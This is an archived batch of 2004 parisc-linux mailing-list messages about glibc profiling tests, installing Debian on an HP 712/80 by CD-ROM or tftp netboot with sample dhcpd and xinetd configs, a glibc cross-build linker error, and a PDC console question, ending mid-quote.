List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 11 Jan 2004 20:52:28 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20612

On Sat, Jan 10, 2004 at 09:09:06PM -0700, Grant Grundler wrote:
> On Mon, Jan 05, 2004 at 02:48:39PM -0500, Carlos O'Donell wrote:
> > http://www.parisc-linux.org/~carlos/glibc-2.3.2-debs-2004-01-05/
> 
> I finally installed these (libc6 and libc6-dev) and live is still good.
> thanks carlos!

Excellent. You haven't tried profiling any programs have you? :)
Compile with CFLAGS=-pg, run-em, then run gprof on the gmon.out output?

c.



From - Thu Nov 08 21:30:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian Barber" <brianbarber@myrealbox.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing Debian on an 712/80
Date: Mon, 12 Jan 2004 09:12:32 -0500
Lines: 149
Approved: news@gmane.org
Message-ID: <1073916752.bd0297c0brianbarber@myrealbox.com>
Reply-To: brianbarber@linux.ca
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623123 4473 80.91.229.3 (22 Nov 2014 02:25:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:23 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: brianbarber@myrealbox.com  Mon Jan 12 07:12:33 2004
Return-Path: <brianbarber@myrealbox.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-send.myrealbox.com (smtp-send.myrealbox.com
	[192.108.102.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8FCE14854
	for <parisc-linux@parisc-linux.org>;
	Mon, 12 Jan 2004 07:12:33 -0700 (MST)
Original-Received: from brianbarber [198.103.249.251] by myrealbox.com
	with NetMail ModWeb Module; Mon, 12 Jan 2004 09:12:32 -0500
X-Mailer: NetMail ModWeb Module
X-Sender: brianbarber
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Jan 2004 14:12:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20613

With the older Sun CDROM drive and the full debian-hppa iso, the install wa=
s trivial.  One thing that is really remarkable is the "power on to login=
 prompt" speed.  Everything that I have tried so far works great.  This i=
s a brilliant port.

The only hangup I had was installing XFree86.  I tried installing using x-w=
indow-system, which kept failing with twm as a broken dependency (Depend:=
 twm is needed but will not be installed / Sorry, broken package [sic - g=
oing off the top of my head]).  I installed with x-window-system-core, wh=
ich was successful, and then installed individual packages as required (e=
.g. xterm, xdm, etc.)

Thanks for the guidance on the CDROM drive.  That tip might want to find it=
s way into the install documentation for other PARISC rookies.

Cheers,
BB

PS: Now that I have a working machine, how can I help the development effor=
t?

-----Original Message-----
From: "Brian Barber" <brianbarber@myrealbox.com>
To: parisc-linux@parisc-linux.org
Date: Fri, 09 Jan 2004 16:12:14 -0500
Subject: Re: [parisc-linux] Re: Installing Debian on an 712/80

Good news (for me, that is).  A colleague here at work located an older ext=
ernal Sun CDROM, which I believe supports 512k byte segments.  I'll try a=
n install with it this weekend and send an update when I'm successful. (N=
ote the optimism)

Have a good weekend, everyone.

BB

-----Original Message-----
From: Steve Bromwich <hppa@fop.ns.ca>
To: Matthew Wilcox <willy@debian.org>
Date: Thu, 1 Jan 2004 18:13:13 -0400 (AST)
Subject: Re: [parisc-linux] Re: Installing Debian on an 712/80

On Thu, 1 Jan 2004, Matthew Wilcox wrote:

> On Tue, Dec 23, 2003 at 10:20:01AM -0500, Brian Barber wrote:
>
> > I've done some more digging and come up with the following obstacles:
> > 1) HP machines require active SCSI termination, hence the reason why I =
could not boot from my (borrowed) external SCSI CD-ROM (passive terminato=
r only)
>
> I'm not sure that's true, but they do require certain CD drives to
> boot from.  I forget the details; something to do with 2k vs 512 byte
> sector sizes.

The industry standard (ie, IBM PC world) is 2048 byte sectors, whereas HP
(and Sun) use 512 byte sectors. If you don't have a drive that supports
512 byte sectors, you won't get anywhere. See the post I made (and
subsequent informative posts from others) at
http://lists.parisc-linux.org/pipermail/parisc-linux/2003-November/021645.h=
tml
for more details.

> > If I am correct (jump in here), I am left with bootp/tftp as the only
> > means of booting the machine.  If I take this route, I copy lifimage
> > to the boot directory of my tftp server.  This is where I am stuck.
> > There is no documentation I can find (or discern) that walks one throug=
h
> > an install from a tftp-booted machine.  Is there a way for me to mount
> > the Debain CD via nfs and launch the installer from there?

When you boot via tftp you still need a way to communicate with the box,
either using a keyboard and monitor, or (more commonly) via serial
console. Is this the answer to the question you're asking?

Alternatively, when you boot the lifimage I *think* you get the option of
installing from pre-mounted directory (somewhat useless via serial console
- I don't think there's any way to get a shell prompt to premount a
directory), NFS, HTTP or FTP - ie, the usual Debian install methodology. I
suspect your best bet is over NFS.

> I'd like to just point you at the boot HOWTO [1], but it doesn't seem
> to cover this step.  It only covers booting the kernel, not setting up
> your NFS root.  I've had mixed success with using debootstrap to populate
> a minimal nfsroot, then updating to sid and installing new packages.

One thing I noticed is that the config given is using inetd (I use xinetd)
and appears to be using the "standard" tftp, rather than hpa's tftpd. I
recently set up a diskless J200 (imaginatively named "j200"), the config I
used on the server is as follows:

dhcpd.conf:

allow bootp;
option domain-name "fop.ns.ca";
option domain-name-servers 10.2.1.10;
option log-servers 10.2.1.10;
authoritative;
use-host-decl-names on;

host j200 {
  hardware ethernet 08:00:09:8c:d1:41;
  filename "lifimage";
  server-name "10.2.1.10";
  fixed-address 10.2.1.21;
  option subnet-mask 255.255.255.0;
  option broadcast-address 10.2.1.255;
  option routers 10.2.1.200;
  option domain-name "fop.ns.ca";
  option root-path "10.2.1.21:/j200";
}


xinetd.conf:

service tftp
{
       socket_type     =3D dgram
       protocol        =3D udp
       wait            =3D yes
       user            =3D root
       #server         =3D /usr/sbin/tcpd
       #server_args    =3D /usr/sbin/in.tftpd /tftpboot
       server          =3D /usr/sbin/in.tftpd
       server_args     =3D -v -s /tftpboot
       disable         =3D no
}


One tip I noticed is it takes a dog's age to boot with serial console set
to 9600. If you're going to do a serial console, I'd recommend upping the
rate to 19200.

I'm off to Boston tomorrow for a week and a half, but if you're still
having troubles when I get back I can fire up the J200 and write up a
step-by-step if it'd help.

Cheers, Steve



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux





From - Thu Nov 08 21:30:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing Debian on an 712/80
Date: Mon, 12 Jan 2004 07:20:00 -0800
Lines: 11
Approved: news@gmane.org
Message-ID: <20040112152000.GI533@tausq.org>
References: <1073916752.bd0297c0brianbarber@myrealbox.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623123 4477 80.91.229.3 (22 Nov 2014 02:25:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:23 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: brianbarber@linux.ca
Original-X-From: randolph@tausq.org  Mon Jan 12 07:19:34 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4E694854
	for <parisc-linux@parisc-linux.org>;
	Mon, 12 Jan 2004 07:19:34 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C0780CD294; Mon, 12 Jan 2004 07:20:00 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <1073916752.bd0297c0brianbarber@myrealbox.com>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Jan 2004 14:19:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20614

> PS: Now that I have a working machine, how can I help the development effort?

there are lots of projects, what kinds of things are you interested in?
kernel? userspace? toolchain? packeges?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:30:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian Barber" <brianbarber@myrealbox.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing Debian on an 712/80
Date: Mon, 12 Jan 2004 09:37:38 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <1073918258.bd0297c0brianbarber@myrealbox.com>
Reply-To: brianbarber@linux.ca
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623124 4481 80.91.229.3 (22 Nov 2014 02:25:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:24 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: brianbarber@myrealbox.com  Mon Jan 12 07:37:34 2004
Return-Path: <brianbarber@myrealbox.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-send.myrealbox.com (smtp-send.myrealbox.com
	[192.108.102.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0B19D4854
	for <parisc-linux@parisc-linux.org>;
	Mon, 12 Jan 2004 07:37:34 -0700 (MST)
Original-Received: from brianbarber [198.103.249.251] by myrealbox.com
	with NetMail ModWeb Module; Mon, 12 Jan 2004 09:37:38 -0500
X-Mailer: NetMail ModWeb Module
X-Sender: brianbarber
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Jan 2004 14:37:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20615

I'm not a developer, but I do dabble.  I'm probably more dangerous than use=
ful.  I'm an infrastructure architect, a published author and an experien=
ced tester; hence, I figure that I can best help out with documention and=
 testing the projects that are highest priority on your to-do list.

I'm not partial to any particular type of project, my only limitation is th=
e fact that I'm running an older piece of equipment.  If anyone in Canada=
's National Capital Region wants to float something in that would be more=
 appropriate to the project, I'd give it a good home.

BB

-----Original Message-----
From: Randolph Chung <tausq@debian.org>
To: brianbarber@linux.ca
Date: Mon, 12 Jan 2004 07:20:00 -0800
Subject: Re: [parisc-linux] Installing Debian on an 712/80

> PS: Now that I have a working machine, how can I help the development eff=
ort?

there are lots of projects, what kinds of things are you interested in?
kernel? userspace? toolchain? packeges?

randolph
--=20
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/





From - Thu Nov 08 21:30:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Mon, 12 Jan 2004 09:38:50 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20040112163850.GA22886__45146.363558206$1416623124$gmane$org@colo.lackof.org>
References: <20040105194809.GA9269@systemhalted>
	<20040105194839.GB9269@systemhalted>
	<20040111040906.GA32382@colo.lackof.org>
	<20040111204355.GL28742@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623124 4486 80.91.229.3 (22 Nov 2014 02:25:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: grundler@lackof.org  Mon Jan 12 09:38:52 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 14F3E4854
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jan 2004 09:38:52 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 23764298051; Mon, 12 Jan 2004 09:38:51 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 22415-10; Mon, 12 Jan 2004 09:38:50 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 86FD0298050; Mon, 12 Jan 2004 09:38:50 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040111204355.GL28742@systemhalted>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Jan 2004 16:38:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20616

On Sun, Jan 11, 2004 at 03:43:55PM -0500, Carlos O'Donell wrote:
> Excellent. You haven't tried profiling any programs have you? :)

Profiing? what's that? :^P

> Compile with CFLAGS=-pg, run-em, then run gprof on the gmon.out output?

ok...I'll try tonight.

thanks,
grant


From - Thu Nov 08 21:30:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing Debian on an 712/80
Date: Mon, 12 Jan 2004 09:45:04 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20040112164504.GB22886@colo.lackof.org>
References: <1073916752.bd0297c0brianbarber@myrealbox.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623124 4489 80.91.229.3 (22 Nov 2014 02:25:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:24 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: brianbarber@linux.ca
Original-X-From: grundler@lackof.org  Mon Jan 12 09:45:05 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE88E4854
	for <parisc-linux@parisc-linux.org>;
	Mon, 12 Jan 2004 09:45:05 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id A14F4298051; Mon, 12 Jan 2004 09:45:04 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 22931-05; Mon, 12 Jan 2004 09:45:04 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 10EF0298050; Mon, 12 Jan 2004 09:45:04 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1073916752.bd0297c0brianbarber@myrealbox.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Jan 2004 16:45:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20617

On Mon, Jan 12, 2004 at 09:12:32AM -0500, Brian Barber wrote:
> Thanks for the guidance on the CDROM drive.  That tip might want to
>  find its way into the install documentation for other PARISC rookies.
...
> PS: Now that I have a working machine, how can I help the development effort?

You pointed out a good one above.

Send a diff (or new text) for an existing install document (URL please)
and that would be a good first step to getting the public version updated.

In general, the parisc-linux website had several How-To's and
a FAQ that could use slight reworking (eg look for stale URL's
and just proper english grammar).

thanks,
grant


From - Thu Nov 08 21:30:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Status] hppa's userspace in 2004 (looking back)
Date: Mon, 12 Jan 2004 18:51:21 +0100
Lines: 84
Approved: news@gmane.org
Message-ID: <3FFB28C900003B90__22592.6059451469$1416623125$gmane$org@ocpmta1.freegates.net>
References: <3FFF10F3.2060408@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623125 4492 80.91.229.3 (22 Nov 2014 02:25:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Mon Jan 12 10:51:25 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 217264854
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jan 2004 10:51:25 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1Ag6Di-0002CZ-00; Mon, 12 Jan 2004 18:51:22 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 12 Jan 2004 18:51:21 +0100
In-Reply-To: <3FFF10F3.2060408@tiscali.be>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Jan 2004 17:51:25 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20618

Hi Carlos,

Here is finaly the pb I encounter when I try to rebuild the toolchain with
gcc-snapshot at the time of glibc build:
[snip]
/Develop/parisc-linux/xc/bin/hppa-linux-gcc -nostdlib -nostartfiles -o /Develop/parisc-linux/build/glibc/iconv/iconvconfig
 -Wl,-dynamic-linker=/opt/palinux/hppa-linux/lib/ld.so.1    /Develop/parisc-linux/build/glibc/csu/crt1.o
/Develop/parisc-linux/build/glibc/csu/crti.o `/Develop/parisc-linux/xc/bin/hppa-linux-gcc
--print-file-name=crtbegin.o` /Develop/parisc-linux/build/glibc/iconv/iconvconfig.o
/Develop/parisc-linux/build/glibc/iconv/strtab.o /Develop/parisc-linux/build/glibc/iconv/xmalloc.o
/Develop/parisc-linux/build/glibc/iconv/hash-string.o  -Wl,-rpath-link=/Develop/parisc-linux/build/glibc:/Develop/parisc-linux/build/glibc/math:/Develop/parisc-linux/build/glibc/elf:/Develop/parisc-linux/build/glibc/dlfcn:/Develop/parisc-linux/build/gl
ibc/nss:/Develop/parisc-linux/build/glibc/nis:/Develop/parisc-linux/build/glibc/rt:/Develop/parisc-linux/build/glibc/resolv:/Develop/parisc-linux/build/glibc/crypt:/Develop/parisc-linux/build/glibc/linuxthreads
/Develop/parisc-linux/build/glibc/libc.so.6 /Develop/parisc-linux/build/glibc/libc_nonshared.a
-lgcc `/Develop/parisc-linux/xc/bin/hppa-linux-gcc --print-file-name=crtend.o`
/Develop/parisc-linux/build/glibc/csu/crtn.o
/Develop/parisc-linux/build/glibc/elf/ld.so.1: undefined reference to `set_dp'
collect2: ld returned 1 exit status
make[2]: *** [/Develop/parisc-linux/build/glibc/iconv/iconvconfig] Error
1
make[2]: Leaving directory `/Develop/parisc-linux/sources/glibc/iconv'
make[1]: *** [iconv/others] Error 2
make[1]: Leaving directory `/Develop/parisc-linux/sources/glibc'
make: *** [all] Error 2

the glibc src cames from last debian pkg with patches applied and configured
with following options:
# unset LD_LIBRARY_PATH; unset LD_RUN_PATH; export CC=/Develop/parisc-linux/xc/bin/hppa-linux-gcc;
export CLFAGS="-O2 -g";  export PATH="/Develop/parisc-linux/xc/bin:$PATH";
/Develop/parisc-linux/sources/glibc/configure --target=hppa-linux --host=hppa-linux
--build=hppa-linux --prefix=/opt/palinux/hppa-linux --without-cvs --disable-profile
--enable-hacker-mode --enable-add-ons=linuxthreads --with-headers=/Develop/parisc-linux/sources/linux/include


and the gcc-snapshot sources cames from the latest gcc-scnapshot-20040110
debian pkg and the 'preliminary x compiler' is configured with following
options:
# export PATH="/Develop/parisc-linux/xc/bin:$PATH"; /Develop/parisc-linux/sources/gcc/configure
--target=hppa-linux --host=hppa-linux --build=hppa-linux --prefix=/Develop/parisc-linux/xc
--disable-shared --disable-nls --enable-languages=c 

Any idea?

Thanks in advance,
    Joel

>-- Original Message --
>Date: Fri, 09 Jan 2004 20:37:07 +0000
>From: Joel Soete <soete.joel@tiscali.be>
>To: Carlos O'Donell <carlos@baldric.uwo.ca>
>Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
>Subject: Re: [parisc-linux] [Status] hppa's userspace in 2004 (looking back)
>
>
>Joel Soete wrote:
[snip]
> (but I don't much retry because of gnu pserver cvs pb; in the mean time
I
> read that new anonymous access would be with ssh, even though last weekend
> it was not yet operational?) 
[snip]

CVSROOT=":ext:anoncvs@subve
>sions.gnu.org:/cvsroot/gcc"

seems to be operational now with CVS_RSH="ssh"

hth,
	Joel

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listi
>fo/parisc-linux



-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6 & pdc_console pb on c110: "Warning: unable
	to	open an initial console."
Date: Tue, 13 Jan 2004 00:23:49 +0100
Organization: private
Lines: 64
Approved: news@gmane.org
Message-ID: <40032C85.3040901@gmx.at>
References: <3FEDF301.5030901@tiscali.be> <200312280019.55830.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623125 4496 80.91.229.3 (22 Nov 2014 02:25:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: christoph.plattner@gmx.at  Mon Jan 12 16:23:53 2004
Return-Path: <christoph.plattner@gmx.at>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep18-int.chello.at (viefep18-int.chello.at [213.46.255.22])
	by dsl2.external.hp.com (Postfix) with ESMTP id ED0C44854
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jan 2004 16:23:52 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep18-int.chello.at
	(InterMail vM.6.00.05.02 201-2115-109-103-20031105) with ESMTP
	id <20040112232350.MZMO6040.viefep18-int.chello.at@gmx.at>;
	Tue, 13 Jan 2004 00:23:50 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830
X-Accept-Language: en-us, en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Jan 2004 23:23:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20619

Anyway, the PDC driver should work for all architectures, independent of
the serial type (this was my concept of this driver).

Is the driver fully ported to the 2.6 kernel ?
In the first log, the line "Warning: unable to open an initial console."
was shown, so the open on this device fails !
Futher there is no PDC driver registered under proc/devices !

I have never tested a 2.6 kernel on a HP.

Christoph


Helge Deller wrote:
> On Saturday 27 December 2003 22:00, Joel Soete wrote:
> 
>>I try to see if pdc_console could be operational on my c110 with kernel 2.6.0-pa5.
>>
